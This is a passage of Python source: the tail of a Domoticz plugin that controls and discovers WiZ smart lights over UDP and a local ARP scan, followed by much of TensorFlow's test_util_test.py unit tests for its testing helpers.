'Off', not received) elif Command == 'Set Color': # Convert RGB to Cold- and White level rgb = json.loads(Color) mode = rgb.get("m") cw = rgb.get("cw") ww = rgb.get("ww") red = rgb.get("r") green = rgb.get("g") blue = rgb.get("b") mJSON = bytes('{"method":"setPilot","params":{"src":"udp","state":true,"r":' + str(red) + ',"g":' + str(green) + ',"b":' + str(blue) + ',"c":' + str(cw) + ',"w":' + str(ww) + '}}', 'utf-8') sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: sock.sendto(mJSON, (host, port)) received = sock.recv(1024).decode('utf-8') finally: sock.close() received=str(received).split(",")[2].split(":")[2] received=received[0:len(received)-3].capitalize() # Update status of Domoticz device Devices[Unit].Update(nValue=1, sValue=str(Level), TimedOut=not received, Color=Color) elif Command == 'Set Level': # Set new level mJSON = bytes('{"method":"setPilot","params":{"src":"udp","state":true,"dimming":' + str(Level) + '}}', 'utf-8') sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: sock.sendto(mJSON, (host, port)) received = sock.recv(1024).decode('utf-8') finally: sock.close() received=str(received).split(",")[2].split(":")[2] received=received[0:len(received)-3].capitalize() # Update status of Domoticz device UpdateDevice(Unit, 1 if Devices[Unit].Type == 241 else 2, str(Level), not received) # Set last update self.last_update = time.time() def onNotification(self, Name, Subject, Text, Status, Priority, Sound, ImageFile): Domoticz.Debug("Notification: " + Name + "," + Subject + "," + Text + "," + Status + "," + str(Priority) + "," + Sound + "," + ImageFile) def onDisconnect(self, Connection): Domoticz.Debug("onDisconnect called") def onHeartbeat(self): Domoticz.Debug("onHeartbeat called time="+str(time.time())) # If it hasn't been at least 1 minute (corrected for ~2s runtime) since last update, skip it if time.time() - self.last_update < 58: return # Create/Start update thread self.updateThread = threading.Thread(name="WiZUpdateThread", target=BasePlugin.handleThread, args=(self,)) self.updateThread.start() # Separate thread looping ever 10 seconds searching for new WiZ connected devices on network and updating their status def handleThread(self): try: Domoticz.Debug("in handlethread") # Initialize/Update WiZ devices # Set last update self.last_update = time.time() # Update devices conf.verb=0 ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=Parameters["Mode2"]), timeout=2) hostNames = [] for snd,rcv in ans: ipAddress=rcv.sprintf(r"%ARP.psrc%") try: hostName = socket.gethostbyaddr(ipAddress) except: hostName = "Onbekend" if hostName[0][0:3] in Parameters["Mode1"]: hostNames.append(hostName[0]) for hostName in hostNames: Domoticz.Debug("Endpoint '"+hostName+"' found.") deviceFound = False for Device in Devices: if ((hostName == Devices[Device].DeviceID)): deviceFound = True host = str(Devices[Device].DeviceID) port = 38899 mJSON = b'{"method":"getPilot"}' sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: sock.sendto(mJSON, (host, port)) received = sock.recv(1024).decode('utf-8') finally: sock.close() received=json.loads(received) wizstate=received["result"]["state"] if wizstate: wizstate = 1 else: wizstate = 0 wizlevel=str(received["result"]["dimming"]) if Devices[Device].Color != "": c=json.loads(Devices[Device].Color) try: wizcw=received["result"]["c"] wizww=received["result"]["w"] c=json.loads(Devices[Device].Color) c["cw"] = wizcw c["ww"] = wizww except: wiztemp=received["result"]["temp"] c["t"] = (wiztemp - 2700) / 14.9 wizcolor=json.dumps(c) else: wizcolor="" # Update status of Domoticz device Devices[Device].Update(nValue=wizstate, sValue=wizlevel, TimedOut=False, Color=wizcolor) if (deviceFound == False): Domoticz.Device(Name=hostName, DeviceID=hostName, Unit=len(Devices)+1, Type=241, Subtype=8, Switchtype=7, Image=0).Create() except Exception as err: Domoticz.Error("handleThread: "+str(err)+' line '+format(sys.exc_info()[-1].tb_lineno)) global _plugin _plugin = BasePlugin() def onStart(): global _plugin _plugin.onStart() def onStop(): global _plugin _plugin.onStop() def onConnect(Connection, Status, Description): global _plugin _plugin.onConnect(Connection, Status, Description) def onMessage(Connection, Data): global _plugin _plugin.onMessage(Connection, Data) def onCommand(Unit, Command, Level, Color): global _plugin _plugin.onCommand(Unit, Command, Level, Color) def onNotification(Name, Subject, Text, Status, Priority, Sound, ImageFile): global _plugin _plugin.onNotification(Name, Subject, Text, Status, Priority, Sound, ImageFile) def onDisconnect(Connection): global _plugin _plugin.onDisconnect(Connection) def onHeartbeat(): global _plugin _plugin.onHeartbeat() # Generic helper functions def DumpConfigToLog(): for x in Parameters: if Parameters[x] != "": Domoticz.Debug( "'" + x + "':'" + str(Parameters[x]) + "'") Domoticz.Debug("Device count: " + str(len(Devices))) for x in Devices: Domoticz.Debug("Device: " + str(x) + " - " + str(Devices[x])) Domoticz.Debug("Device ID: '" + str(Devices[x].ID) + "'") Domoticz.Debug("Device Name: '" + Devices[x].Name + "'") Domoticz.Debug("Device nValue: " + str(Devices[x].nValue)) Domoticz.Debug("Device sValue: '" + Devices[x].sValue + "'") Domoticz.Debug("Device LastLevel: " + str(Devices[x].LastLevel)) return # Loop thru domoticz devices and see if there's a device with matching DeviceID, if so, return unit number, otherwise return zero def getUnit(devid): unit = 0 for x in Devices: if Devices[x].DeviceID == devid: unit = x break return unit # Find the smallest unit number available to add a device in domoticz def nextUnit(): unit = 1 while unit in Devices and unit < 255: unit = unit + 1 return unit def UpdateDevice(Unit, nValue, sValue, TimedOut): # Make sure that the Domoticz device still exists (they can be deleted) before updating it if (Unit in Devices): #if (Devices[Unit].nValue != nValue) or (Devices[Unit].sValue != sValue) or (Devices[Unit].TimedOut != TimedOut): Devices[Unit].Update(nValue=nValue, sValue=str(sValue), TimedOut=TimedOut) Domoticz.Log("Update "+str(nValue)+":'"+str(sValue)+"' ("+Devices[Unit].Name+") TimedOut="+str(TimedOut)) return
test_util_test.py
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for tensorflow.ops.test_util.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections import copy import random import threading import unittest import weakref from absl.testing import parameterized import numpy as np from google.protobuf import text_format from tensorflow.core.framework import graph_pb2 from tensorflow.core.protobuf import meta_graph_pb2 from tensorflow.python.compat import compat from tensorflow.python.eager import context from tensorflow.python.eager import def_function from tensorflow.python.framework import combinations from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import errors from tensorflow.python.framework import ops from tensorflow.python.framework import test_ops # pylint: disable=unused-import from tensorflow.python.framework import test_util from tensorflow.python.ops import control_flow_ops from tensorflow.python.ops import math_ops from tensorflow.python.ops import random_ops from tensorflow.python.ops import resource_variable_ops from tensorflow.python.ops import variable_scope from tensorflow.python.ops import variables from tensorflow.python.platform import googletest class TestUtilTest(test_util.TensorFlowTestCase, parameterized.TestCase): def test_assert_ops_in_graph(self): with ops.Graph().as_default(): constant_op.constant(["hello", "taffy"], name="hello") test_util.assert_ops_in_graph({"hello": "Const"}, ops.get_default_graph()) self.assertRaises(ValueError, test_util.assert_ops_in_graph, {"bye": "Const"}, ops.get_default_graph()) self.assertRaises(ValueError, test_util.assert_ops_in_graph, {"hello": "Variable"}, ops.get_default_graph()) @test_util.run_deprecated_v1 def test_session_functions(self): with self.test_session() as sess: sess_ref = weakref.ref(sess) with self.cached_session(graph=None, config=None) as sess2: # We make sure that sess2 is sess. assert sess2 is sess # We make sure we raise an exception if we use cached_session with # different values. with self.assertRaises(ValueError): with self.cached_session(graph=ops.Graph()) as sess2: pass with self.assertRaises(ValueError): with self.cached_session(force_gpu=True) as sess2: pass # We make sure that test_session will cache the session even after the # with scope. assert not sess_ref()._closed with self.session() as unique_sess: unique_sess_ref = weakref.ref(unique_sess) with self.session() as sess2: assert sess2 is not unique_sess # We make sure the session is closed when we leave the with statement. assert unique_sess_ref()._closed def test_assert_equal_graph_def(self): with ops.Graph().as_default() as g: def_empty = g.as_graph_def() constant_op.constant(5, name="five") constant_op.constant(7, name="seven") def_57 = g.as_graph_def() with ops.Graph().as_default() as g: constant_op.constant(7, name="seven") constant_op.constant(5, name="five") def_75 = g.as_graph_def() # Comparing strings is order dependent self.assertNotEqual(str(def_57), str(def_75)) # assert_equal_graph_def doesn't care about order test_util.assert_equal_graph_def(def_57, def_75) # Compare two unequal graphs with self.assertRaisesRegex(AssertionError, r"^Found unexpected node '{{node seven}}"): test_util.assert_equal_graph_def(def_57, def_empty) def testIsGoogleCudaEnabled(self): # The test doesn't assert anything. It ensures the py wrapper # function is generated correctly. if test_util.IsGoogleCudaEnabled(): print("GoogleCuda is enabled") else: print("GoogleCuda is disabled") def testIsMklEnabled(self): # This test doesn't assert anything. # It ensures the py wrapper function is generated correctly. if test_util.IsMklEnabled(): print("MKL is enabled") else: print("MKL is disabled") @test_util.run_in_graph_and_eager_modes def testAssertProtoEqualsStr(self): graph_str = "node { name: 'w1' op: 'params' }" graph_def = graph_pb2.GraphDef() text_format.Merge(graph_str, graph_def) # test string based comparison self.assertProtoEquals(graph_str, graph_def) # test original comparison self.assertProtoEquals(graph_def, graph_def) @test_util.run_in_graph_and_eager_modes def testAssertProtoEqualsAny(self): # Test assertProtoEquals with a protobuf.Any field. meta_graph_def_str = """ meta_info_def { meta_graph_version: "outer" any_info { [type.googleapis.com/tensorflow.MetaGraphDef] { meta_info_def { meta_graph_version: "inner" } } } } """ meta_graph_def_outer = meta_graph_pb2.MetaGraphDef() meta_graph_def_outer.meta_info_def.meta_graph_version = "outer" meta_graph_def_inner = meta_graph_pb2.MetaGraphDef() meta_graph_def_inner.meta_info_def.meta_graph_version = "inner" meta_graph_def_outer.meta_info_def.any_info.Pack(meta_graph_def_inner) self.assertProtoEquals(meta_graph_def_str, meta_graph_def_outer) self.assertProtoEquals(meta_graph_def_outer, meta_graph_def_outer) # Check if the assertion failure message contains the content of # the inner proto. with self.assertRaisesRegex(AssertionError, r'meta_graph_version: "inner"'): self.assertProtoEquals("", meta_graph_def_outer) @test_util.run_in_graph_and_eager_modes def testNDArrayNear(self): a1 = np.array([[1.0, 2.0, 3.0], [4.0, 5.0, 6.0]]) a2 = np.array([[1.0, 2.0, 3.0], [4.0, 5.0, 6.0]]) a3 = np.array([[10.0, 20.0, 30.0], [40.0, 50.0, 60.0]]) self.assertTrue(self._NDArrayNear(a1, a2, 1e-5)) self.assertFalse(self._NDArrayNear(a1, a3, 1e-5)) @test_util.run_in_graph_and_eager_modes def testCheckedThreadSucceeds(self): def noop(ev): ev.set() event_arg = threading.Event() self.assertFalse(event_arg.is_set()) t = self.checkedThread(target=noop, args=(event_arg,)) t.start() t.join() self.assertTrue(event_arg.is_set()) @test_util.run_in_graph_and_eager_modes def testCheckedThreadFails(self): def err_func(): return 1 // 0 t = self.checkedThread(target=err_func) t.start() with self.assertRaises(self.failureException) as fe: t.join() self.assertTrue("integer division or modulo by zero" in str(fe.exception)) @test_util.run_in_graph_and_eager_modes def testCheckedThreadWithWrongAssertionFails(self): x = 37 def err_func(): self.assertTrue(x < 10) t = self.checkedThread(target=err_func) t.start() with self.assertRaises(self.failureException) as fe: t.join() self.assertTrue("False is not true" in str(fe.exception)) @test_util.run_in_graph_and_eager_modes def testMultipleThreadsWithOneFailure(self): def err_func(i): self.assertTrue(i != 7) threads = [ self.checkedThread( target=err_func, args=(i,)) for i in range(10) ] for t in threads: t.start() for i, t in enumerate(threads): if i == 7: with self.assertRaises(self.failureException): t.join() else: t.join() def _WeMustGoDeeper(self, msg): with self.assertRaisesOpError(msg): with ops.Graph().as_default(): node_def = ops._NodeDef("IntOutput", "name") node_def_orig = ops._NodeDef("IntOutput", "orig") op_orig = ops.Operation(node_def_orig, ops.get_default_graph()) op = ops.Operation(node_def, ops.get_default_graph(), original_op=op_orig) raise errors.UnauthenticatedError(node_def, op, "true_err") @test_util.run_in_graph_and_eager_modes def testAssertRaisesOpErrorDoesNotPassMessageDueToLeakedStack(self): with self.assertRaises(AssertionError): self._WeMustGoDeeper("this_is_not_the_error_you_are_looking_for") self._WeMustGoDeeper("true_err") self._WeMustGoDeeper("name") self._WeMustGoDeeper("orig") @test_util.run_in_graph_and_eager_modes def testAllCloseTensors(self): a_raw_data = [[1, 2, 3], [4, 5, 6], [7, 8, 9]] a = constant_op.constant(a_raw_data) b = math_ops.add(1, constant_op.constant([[0, 1, 2], [3, 4, 5], [6, 7, 8]])) self.assertAllClose(a, b) self.assertAllClose(a, a_raw_data) a_dict = {"key": a} b_dict = {"key": b} self.assertAllClose(a_dict, b_dict) x_list = [a, b] y_list = [a_raw_data, b] self.assertAllClose(x_list, y_list) @test_util.run_in_graph_and_eager_modes def testAllCloseScalars(self): self.assertAllClose(7, 7 + 1e-8) with self.assertRaisesRegex(AssertionError, r"Not equal to tolerance"): self.assertAllClose(7, 7 + 1e-5) @test_util.run_in_graph_and_eager_modes def testAllCloseList(self): with self.assertRaisesRegex(AssertionError, r"not close dif"): self.assertAllClose([0], [1]) @test_util.run_in_graph_and_eager_modes def testAllCloseDictToNonDict(self): with self.assertRaisesRegex(ValueError, r"Can't compare dict to non-dict"): self.assertAllClose(1, {"a": 1}) with self.assertRaisesRegex(ValueError, r"Can't compare dict to non-dict"): self.assertAllClose({"a": 1}, 1) @test_util.run_in_graph_and_eager_modes def testAllCloseNamedtuples(self): a = 7 b = (2., 3.) c = np.ones((3, 2, 4)) * 7. expected = {"a": a, "b": b, "c": c} my_named_tuple = collections.namedtuple("MyNamedTuple", ["a", "b", "c"]) # Identity. self.assertAllClose(expected, my_named_tuple(a=a, b=b, c=c)) self.assertAllClose( my_named_tuple(a=a, b=b, c=c), my_named_tuple(a=a, b=b, c=c)) @test_util.run_in_graph_and_eager_modes def testAllCloseDicts(self): a = 7 b = (2., 3.) c = np.ones((3, 2, 4)) * 7. expected = {"a": a, "b": b, "c": c} # Identity. self.assertAllClose(expected, expected) self.assertAllClose(expected, dict(expected)) # With each item removed. for k in expected: actual = dict(expected) del actual[k] with self.assertRaisesRegex(AssertionError, r"mismatched keys"): self.assertAllClose(expected, actual) # With each item changed. with self.assertRaisesRegex(AssertionError, r"Not equal to tolerance"): self.assertAllClose(expected, {"a": a + 1e-5, "b": b, "c": c}) with self.assertRaisesRegex(AssertionError, r"Shape mismatch"): self.assertAllClose(expected, {"a": a, "b": b + (4.,), "c": c}) c_copy = np.array(c) c_copy[1, 1, 1] += 1e-5 with self.assertRaisesRegex(AssertionError, r"Not equal to tolerance"): self.assertAllClose(expected, {"a": a, "b": b, "c": c_copy}) @test_util.run_in_graph_and_eager_modes def testAllCloseListOfNamedtuples(self): my_named_tuple = collections.namedtuple("MyNamedTuple", ["x", "y"]) l1 = [ my_named_tuple(x=np.array([[2.3, 2.5]]), y=np.array([[0.97, 0.96]])), my_named_tuple(x=np.array([[3.3, 3.5]]), y=np.array([[0.98, 0.99]])) ] l2 = [ ([[2.3, 2.5]], [[0.97, 0.96]]), ([[3.3, 3.5]], [[0.98, 0.99]]), ] self.assertAllClose(l1, l2) @test_util.run_in_graph_and_eager_modes def testAllCloseNestedStructure(self): a = {"x": np.ones((3, 2, 4)) * 7, "y": (2, [{"nested": {"m": 3, "n": 4}}])} self.assertAllClose(a, a) b = copy.deepcopy(a) self.assertAllClose(a, b) # Test mismatched values b["y"][1][0]["nested"]["n"] = 4.2 with self.assertRaisesRegex(AssertionError, r"\[y\]\[1\]\[0\]\[nested\]\[n\]"): self.assertAllClose(a, b) @test_util.run_in_graph_and_eager_modes def testArrayNear(self): a = [1, 2] b = [1, 2, 5] with self.assertRaises(AssertionError): self.assertArrayNear(a, b, 0.001) a = [1, 2] b = [[1, 2], [3, 4]] with self.assertRaises(TypeError): self.assertArrayNear(a, b, 0.001) a = [1, 2] b = [1, 2] self.assertArrayNear(a, b, 0.001) @test_util.skip_if(True) # b/117665998 def testForceGPU(self): with self.assertRaises(errors.InvalidArgumentError): with self.test_session(force_gpu=True): # this relies on us not having a GPU implementation for assert, which # seems sensible x = constant_op.constant(True) y = [15] control_flow_ops.Assert(x, y).run() @test_util.run_in_graph_and_eager_modes def testAssertAllCloseAccordingToType(self): # test plain int self.assertAllCloseAccordingToType(1, 1, rtol=1e-8, atol=1e-8) # test float64 self.assertAllCloseAccordingToType( np.asarray([1e-8], dtype=np.float64), np.asarray([2e-8], dtype=np.float64), rtol=1e-8, atol=1e-8 ) self.assertAllCloseAccordingToType( constant_op.constant([1e-8], dtype=dtypes.float64), constant_op.constant([2e-8], dtype=dtypes.float64), rtol=1e-8, atol=1e-8) with (self.assertRaises(AssertionError)): self.assertAllCloseAccordingToType( np.asarray([1e-7], dtype=np.float64), np.asarray([2e-7], dtype=np.float64), rtol=1e-8, atol=1e-8 ) # test float32 self.assertAllCloseAccordingToType( np.asarray([1e-7], dtype=np.float32), np.asarray([2e-7], dtype=np.float32), rtol=1e-8, atol=1e-8, float_rtol=1e-7, float_atol=1e-7 ) self.assertAllCloseAccordingToType( constant_op.constant([1e-7], dtype=dtypes.float32), constant_op.constant([2e-7], dtype=dtypes.float32), rtol=1e-8, atol=1e-8, float_rtol=1e-7, float_atol=1e-7) with (self.assertRaises(AssertionError)): self.assertAllCloseAccordingToType( np.asarray([1e-6], dtype=np.float32), np.asarray([2e-6], dtype=np.float32), rtol=1e-8, atol=1e-8, float_rtol=1e-7, float_atol=1e-7 ) # test float16 self.assertAllCloseAccordingToType( np.asarray([1e-4], dtype=np.float16), np.asarray([2e-4], dtype=np.float16), rtol=1e-8, atol=1e-8, float_rtol=1e-7, float_atol=1e-7, half_rtol=1e-4, half_atol=1e-4 ) self.assertAllCloseAccordingToType( constant_op.constant([1e-4], dtype=dtypes.float16), constant_op.constant([2e-4], dtype=dtypes.float16), rtol=1e-8, atol=1e-8, float_rtol=1e-7, float_atol=1e-7, half_rtol=1e-4, half_atol=1e-4) with (self.assertRaises(AssertionError)): self.assertAllCloseAccordingToType( np.asarray([1e-3], dtype=np.float16), np.asarray([2e-3], dtype=np.float16), rtol=1e-8, atol=1e-8, float_rtol=1e-7, float_atol=1e-7, half_rtol=1e-4, half_atol=1e-4 ) @test_util.run_in_graph_and_eager_modes def testAssertAllEqual(self): i = variables.Variable([100] * 3, dtype=dtypes.int32, name="i") j = constant_op.constant([20] * 3, dtype=dtypes.int32, name="j") k = math_ops.add(i, j, name="k") self.evaluate(variables.global_variables_initializer()) self.assertAllEqual([100] * 3, i) self.assertAllEqual([120] * 3, k) self.assertAllEqual([20] * 3, j) with self.assertRaisesRegex(AssertionError, r"not equal lhs"): self.assertAllEqual([0] * 3, k) @test_util.run_in_graph_and_eager_modes def testAssertNotAllEqual(self): i = variables.Variable([100], dtype=dtypes.int32, name="i") j = constant_op.constant([20], dtype=dtypes.int32, name="j") k = math_ops.add(i, j, name="k") self.evaluate(variables.global_variables_initializer()) self.assertNotAllEqual([100] * 3, i) self.assertNotAllEqual([120] * 3, k) self.assertNotAllEqual([20] * 3, j) with self.assertRaisesRegex( AssertionError, r"two values are equal at all elements.*extra message"): self.assertNotAllEqual([120], k, msg="extra message") @test_util.run_in_graph_and_eager_modes def testAssertNotAllClose(self): # Test with arrays self.assertNotAllClose([0.1], [0.2]) with self.assertRaises(AssertionError): self.assertNotAllClose([-1.0, 2.0], [-1.0, 2.0]) # Test with tensors x = constant_op.constant([1.0, 1.0], name="x") y = math_ops.add(x, x) self.assertAllClose([2.0, 2.0], y) self.assertNotAllClose([0.9, 1.0], x) with self.assertRaises(AssertionError): self.assertNotAllClose([1.0, 1.0], x) @test_util.run_in_graph_and_eager_modes def testAssertNotAllCloseRTol(self): # Test with arrays with self.assertRaises(AssertionError): self.assertNotAllClose([1.1, 2.1], [1.0, 2.0], rtol=0.2) # Test with tensors x = constant_op.constant([1.0, 1.0], name="x") y = math_ops.add(x, x) self.assertAllClose([2.0, 2.0], y) with self.assertRaises(AssertionError): self.assertNotAllClose([0.9, 1.0], x, rtol=0.2) @test_util.run_in_graph_and_eager_modes def testAssertNotAllCloseATol(self): # Test with arrays with self.assertRaises(AssertionError): self.assertNotAllClose([1.1, 2.1], [1.0, 2.0], atol=0.2) # Test with tensors x = constant_op.constant([1.0, 1.0], name="x") y = math_ops.add(x, x) self.assertAllClose([2.0, 2.0], y) with self.assertRaises(AssertionError): self.assertNotAllClose([0.9, 1.0], x, atol=0.2) @test_util.run_in_graph_and_eager_modes def testAssertAllGreaterLess(self): x = constant_op.constant([100.0, 110.0, 120.0], dtype=dtypes.float32) y = constant_op.constant([10.0] * 3, dtype=dtypes.float32) z = math_ops.add(x, y) self.assertAllClose([110.0, 120.0, 130.0], z) self.assertAllGreater(x, 95.0) self.assertAllLess(x, 125.0) with self.assertRaises(AssertionError): self.assertAllGreater(x, 105.0) with self.assertRaises(AssertionError): self.assertAllGreater(x, 125.0) with self.assertRaises(AssertionError): self.assertAllLess(x, 115.0) with self.assertRaises(AssertionError): self.assertAllLess(x, 95.0) @test_util.run_in_graph_and_eager_modes def testAssertAllGreaterLessEqual(self): x = constant_op.constant([100.0, 110.0, 120.0], dtype=dtypes.float32) y = constant_op.constant([10.0] * 3, dtype=dtypes.float32) z = math_ops.add(x, y) self.assertAllEqual([110.0, 120.0, 130.0], z) self.assertAllGreaterEqual(x, 95.0) self.assertAllLessEqual(x, 125.0) with self.assertRaises(AssertionError): self.assertAllGreaterEqual(x, 105.0) with self.assertRaises(AssertionError): self.assertAllGreaterEqual(x, 125.0) with self.assertRaises(AssertionError): self.assertAllLessEqual(x, 115.0) with self.assertRaises(AssertionError): self.assertAllLessEqual(x, 95.0) def testAssertAllInRangeWithNonNumericValuesFails(self): s1 = constant_op.constant("Hello, ", name="s1") c = constant_op.constant([1 + 2j, -3 + 5j], name="c") b = constant_op.constant([False, True], name="b") with self.assertRaises(AssertionError): self.assertAllInRange(s1, 0.0, 1.0) with self.assertRaises(AssertionError): self.assertAllInRange(c, 0.0, 1.0) with self.assertRaises(AssertionError): self.assertAllInRange(b, 0, 1) @test_util.run_in_graph_and_eager_modes def testAssertAllInRange(self): x = constant_op.constant([10.0, 15.0], name="x") self.assertAllInRange(x, 10, 15) with self.assertRaises(AssertionError): self.assertAllInRange(x, 10, 15, open_lower_bound=True) with self.assertRaises(AssertionError): self.assertAllInRange(x, 10, 15, open_upper_bound=True) with self.assertRaises(AssertionError): self.assertAllInRange( x, 10, 15, open_lower_bound=True, open_upper_bound=True) @test_util.run_in_graph_and_eager_modes def testAssertAllInRangeScalar(self): x = constant_op.constant(10.0, name="x") nan = constant_op.constant(np.nan, name="nan") self.assertAllInRange(x, 5, 15) with self.assertRaises(AssertionError): self.assertAllInRange(nan, 5, 15) with self.assertRaises(AssertionError): self.assertAllInRange(x, 10, 15, open_lower_bound=True) with self.assertRaises(AssertionError): self.assertAllInRange(x, 1, 2) @test_util.run_in_graph_and_eager_modes def testAssertAllInRangeErrorMessageEllipses(self): x_init = np.array([[10.0, 15.0]] * 12) x = constant_op.constant(x_init, name="x") with self.assertRaises(AssertionError): self.assertAllInRange(x, 5, 10) @test_util.run_in_graph_and_eager_modes def testAssertAllInRangeDetectsNaNs(self): x = constant_op.constant( [[np.nan, 0.0], [np.nan, np.inf], [np.inf, np.nan]], name="x") with self.assertRaises(AssertionError): self.assertAllInRange(x, 0.0, 2.0) @test_util.run_in_graph_and_eager_modes def testAssertAllInRangeWithInfinities(self): x = constant_op.constant([10.0, np.inf], name="x") self.assertAllInRange(x, 10, np.inf) with self.assertRaises(AssertionError): self.assertAllInRange(x, 10, np.inf, open_upper_bound=True) @test_util.run_in_graph_and_eager_modes def testAssertAllInSet(self): b = constant_op.constant([True, False], name="b") x = constant_op.constant([13, 37], name="x") self.assertAllInSet(b, [False, True]) self.assertAllInSet(b, (False, True)) self.assertAllInSet(b, {False, True}) self.assertAllInSet(x, [0, 13, 37, 42]) self.assertAllInSet(x, (0, 13, 37, 42)) self.assertAllInSet(x, {0, 13, 37, 42}) with self.assertRaises(AssertionError): self.assertAllInSet(b, [False]) with self.assertRaises(AssertionError): self.assertAllInSet(x, (42,)) def testRandomSeed(self): # Call setUp again for WithCApi case (since it makes a new default graph # after setup). # TODO(skyewm): remove this when C API is permanently enabled. with context.eager_mode(): self.setUp() a = random.randint(1, 1000) a_np_rand = np.random.rand(1) a_rand = random_ops.random_normal([1]) # ensure that randomness in multiple testCases is deterministic. self.setUp() b = random.randint(1, 1000) b_np_rand = np.random.rand(1) b_rand = random_ops.random_normal([1]) self.assertEqual(a, b) self.assertEqual(a_np_rand, b_np_rand) self.assertAllEqual(a_rand, b_rand) @test_util.run_in_graph_and_eager_modes def test_callable_evaluate(self): def model(): return resource_variable_ops.ResourceVariable( name="same_name", initial_value=1) + 1 with context.eager_mode(): self.assertEqual(2, self.evaluate(model)) @test_util.run_in_graph_and_eager_modes def test_nested_tensors_evaluate(self): expected = {"a": 1, "b": 2, "nested": {"d": 3, "e": 4}} nested = {"a": constant_op.constant(1), "b": constant_op.constant(2), "nested": {"d": constant_op.constant(3), "e": constant_op.constant(4)}} self.assertEqual(expected, self.evaluate(nested)) def test_run_in_graph_and_eager_modes(self): l = [] def inc(self, with_brackets): del self # self argument is required by run_in_graph_and_eager_modes. mode = "eager" if context.executing_eagerly() else "graph" with_brackets = "with_brackets" if with_brackets else "without_brackets" l.append((with_brackets, mode)) f = test_util.run_in_graph_and_eager_modes(inc) f(self, with_brackets=False) f = test_util.run_in_graph_and_eager_modes()(inc) f(self, with_brackets=True) self.assertEqual(len(l), 4) self.assertEqual(set(l), { ("with_brackets", "graph"), ("with_brackets", "eager"), ("without_brackets", "graph"), ("without_brackets", "eager"), }) def test_get_node_def_from_graph(self): graph_def = graph_pb2.GraphDef() node_foo = graph_def.node.add() node_foo.name = "foo" self.assertIs(test_util.get_node_def_from_graph("foo", graph_def), node_foo) self.assertIsNone(test_util.get_node_def_from_graph("bar", graph_def)) def test_run_in_eager_and_graph_modes_test_class(self): msg = "`run_in_graph_and_eager_modes` only supports test methods.*" with self.assertRaisesRegex(ValueError, msg): @test_util.run_in_graph_and_eager_modes() class Foo(object): pass del Foo # Make pylint unused happy. def test_run_in_eager_and_graph_modes_skip_graph_runs_eager(self): modes = [] def _test(self): if not context.executing_eagerly(): self.skipTest("Skipping in graph mode") modes.append("eager" if context.executing_eagerly() else "graph") test_util.run_in_graph_and_eager_modes(_test)(self) self.assertEqual(modes, ["eager"]) def test_run_in_eager_and_graph_modes_skip_eager_runs_graph(self): modes = [] def _test(self): if context.executing_eagerly(): self.skipTest("Skipping in eager mode") modes.append("eager" if context.executing_eagerly() else "graph") test_util.run_in_graph_and_eager_modes(_test)(self) self.assertEqual(modes, ["graph"]) def test_run_in_graph_and_eager_modes_setup_in_same_mode(self): modes = [] mode_name = lambda: "eager" if context.executing_eagerly() else "graph" class ExampleTest(test_util.TensorFlowTestCase): def runTest(self): pass def setUp(self): modes.append("setup_" + mode_name()) @test_util.run_in_graph_and_eager_modes def testBody(self): modes.append("run_" + mode_name()) e = ExampleTest() e.setUp() e.testBody() self.assertEqual(modes[1:2], ["run_graph"]) self.assertEqual(modes[2:], ["setup_eager", "run_eager"]) @parameterized.named_parameters(dict(testcase_name="argument", arg=True)) @test_util.run_in_graph_and_eager_modes def test_run_in_graph_and_eager_works_with_parameterized_keyword(self, arg): self.assertEqual(arg, True) @combinations.generate(combinations.combine(arg=True)) @test_util.run_in_graph_and_eager_modes def test_run_in_graph_and_eager_works_with_combinations(self, arg): self.assertEqual(arg, True) def test_build_as_function_and_v1_graph(self): class GraphModeAndFunctionTest(parameterized.TestCase): def __init__(inner_self): # pylint: disable=no-self-argument super(GraphModeAndFunctionTest, inner_self).__init__() inner_self.graph_mode_tested = False inner_self.inside_function_tested = False def runTest(self): del self @test_util.build_as_function_and_v1_graph def test_modes(inner_self): # pylint: disable=no-self-argument if ops.inside_function(): self.assertFalse(inner_self.inside_function_tested) inner_self.inside_function_tested = True else: self.assertFalse(inner_self.graph_mode_tested) inner_self.graph_mode_tested = True test_object = GraphModeAndFunctionTest() test_object.test_modes_v1_graph() test_object.test_modes_function() self.assertTrue(test_object.graph_mode_tested) self.assertTrue(test_object.inside_function_tested) def test_with_forward_compatibility_horizons(self): tested_codepaths = set() def some_function_with_forward_compat_behavior(): if compat.forward_compatible(2050, 1, 1): tested_codepaths.add("future") else: tested_codepaths.add("present") @test_util.with_forward_compatibility_horizons(None, [2051, 1, 1]) def some_test(self): del self # unused some_function_with_forward_compat_behavior() some_test(None) self.assertEqual(tested_codepaths, set(["present", "future"])) class SkipTestTest(test_util.TensorFlowTestCase): def _verify_test_in_set_up_or_tear_down(self): with self.assertRaises(unittest.SkipTest): with test_util.skip_if_error(self, ValueError, ["foo bar", "test message"]): raise ValueError("test message") try: with self.assertRaisesRegex(ValueError, "foo bar"): with test_util.skip_if_error(self, ValueError, "test message"): raise ValueError("foo bar") except unittest.SkipTest: raise RuntimeError("Test is not supposed to skip.") def setUp(self): super(SkipTestTest, self).setUp() self._verify_test_in_set_up_or_tear_down() def tearDown(self): super(SkipTestTest, self).tearDown() self._verify_test_in_set_up_or_tear_down() def test_skip_if_error_should_skip(self): with self.assertRaises(unittest.SkipTest): with test_util.skip_if_error(self, ValueError, "test message"): raise ValueError("test message") def test_skip_if_error_should_skip_with_list(self): with self.assertRaises(unittest.SkipTest): with test_util.skip_if_error(self, ValueError, ["foo bar", "test message"]): raise ValueError("test message") def test_skip_if_error_should_skip_without_expected_message(self): with self.assertRaises(unittest.SkipTest): with test_util.skip_if_error(self, ValueError): raise ValueError("test message") def test_skip_if_error_should_skip_without_error_message(self): with self.assertRaises(unittest.SkipTest): with test_util.skip_if_error(self, ValueError): raise ValueError() def 